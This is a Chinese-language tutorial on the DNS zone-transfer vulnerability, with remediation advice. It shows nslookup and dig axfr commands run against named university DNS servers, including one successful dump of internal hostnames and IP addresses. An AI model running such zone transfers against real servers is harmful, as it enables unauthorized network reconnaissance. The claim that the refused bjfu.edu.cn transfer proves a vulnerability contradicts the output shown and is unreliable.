DNS域传送漏洞

漏洞描述

备份服务器需要利用“域传送”从主服务器上复制数据,然后更新自身的数据库,以达到数据同步的目的,这样是为了增加冗余,万一主服务器挂了还有备份服务器顶着。

而“域传送”漏洞则是由于dns配置不当,本来只有备份服务器能获得主服务器的数据,由于漏洞导致任意client都能通过“域传送”获得主服务器的数据(zone数据库信息)。

这样,攻击者就能获得某个域的所有记录,用于子域名的信息收集,甚至整个网络拓扑都暴露无遗,凭借这份网络蓝图,攻击者可以节省很多扫描时间以及信息收集的时间,还提升了准确度等等。

大的互联网厂商通常将内部网络与外部互联网隔离开,一个重要的手段是使用 Private DNS。如果内部 DNS 泄露,将造成极大的安全风险。风险控制不当甚至造成整个内部网络沦陷。

漏洞利用

Win使用nslookup

失败例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
> nslookup
DNS request timed out.
timeout was 2 seconds.
默认服务器: UnKnown
Address: 114.114.114.114

> server ss2.bjfu.edu.cn
默认服务器: ss2.bjfu.edu.cn
Address: 202.204.112.67

> ls bjfu.edu.cn
[ss2.bjfu.edu.cn]
*** 无法列出域 bjfu.edu.cn: Query refused
DNS 服务器拒绝将区域 bjfu.edu.cn 传送到你的计算机。如果这不正确,
请检查 IP 地址 202.204.112.67 的 DNS 服务器上 bjfu.edu.cn
区域传送安全设置。

说明 bjfu.edu.cn存在域传送漏洞

成功例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
> nslookup
默认服务器: public1.114dns.com
Address: 114.114.114.114

> server ring.cugb.edu.cn
默认服务器: ring.cugb.edu.cn
Address: 202.204.105.1

> ls cugb.edu.cn
[ring.cugb.edu.cn]
cugb.edu.cn. NS server = ring.cugb.edu.cn
cugb.edu.cn. A 127.0.0.1
acm A 121.194.86.2
bbs A 202.204.105.172
bm A 202.204.105.179
bsbm A 202.204.105.17
bslt A 202.204.109.241
cas A 202.204.105.97
ce A 202.204.99.249
chushi A 202.204.105.243
cj A 202.204.96.111
cms A 202.204.105.179
computer A 202.204.96.202
csc A 202.204.97.60
cugblx A 202.204.105.173
.
.
.
.
yx A 202.204.105.179
zhsh A 202.204.105.198
zzb A 202.204.105.243
>

Linux使用Dig

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
~$ dig XXXXX.edu.cn ns

; <<>> DiG 9.11.3-1ubuntu1.16-Ubuntu <<>> xxxxx.edu.cn ns
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 44008
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 2

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 7b96a2ecff97071d7fe4f76322f985176c55e8d3420dab (good)
;; QUESTION SECTION:
;XXXXX.edu.cn. IN NS

;; ANSWER SECTION:
XXXXX.edu.cn. 3600 IN NS XXXXX.XXXXX.edu.cn.

;; ADDITIONAL SECTION:
XXXXX.XXXX.edu.cn. 172786 IN A XXX.XXX.XXX.XXX

;; Query time: 867 msec
;; SERVER: XXX.XXX.XXX.XXX#53(XXX.XXX.XXX.XXX)
;; WHEN: Thu Sep 15 18:08:05 CST 2022
;; MSG SIZE rcvd: 104
1
2
3
4
5
6
~$ dig axfr @XXXX.XXXXX.edu.cn XXXXX.edu.cn

; <<>> DiG 9.11.3-1ubuntu1.16-Ubuntu <<>> axfr @XXXXX.XXXXX.edu.cn XXXXX.edu.cn
; (1 server found)
;; global options: +cmd
; Transfer failed.

dig axfr @XXXX.XXXXX.edu.cn XXXXX.edu.cn

@XXXX.XXXXX.edu.cn 为刚刚NS所查到的DNS服务器域名

XXXXX.edu.cn 目标网站

修复建议

区域传送是 DNS 常用的功能,为保证使用安全,应严格限制允许区域传送的主机,例如一个主 DNS 服务器应该只允许它的备用 DNS 服务器执行区域传送功能。

在相应的 zone、options 中添加 allow-transfer,对执行此操作的服务器进行限制。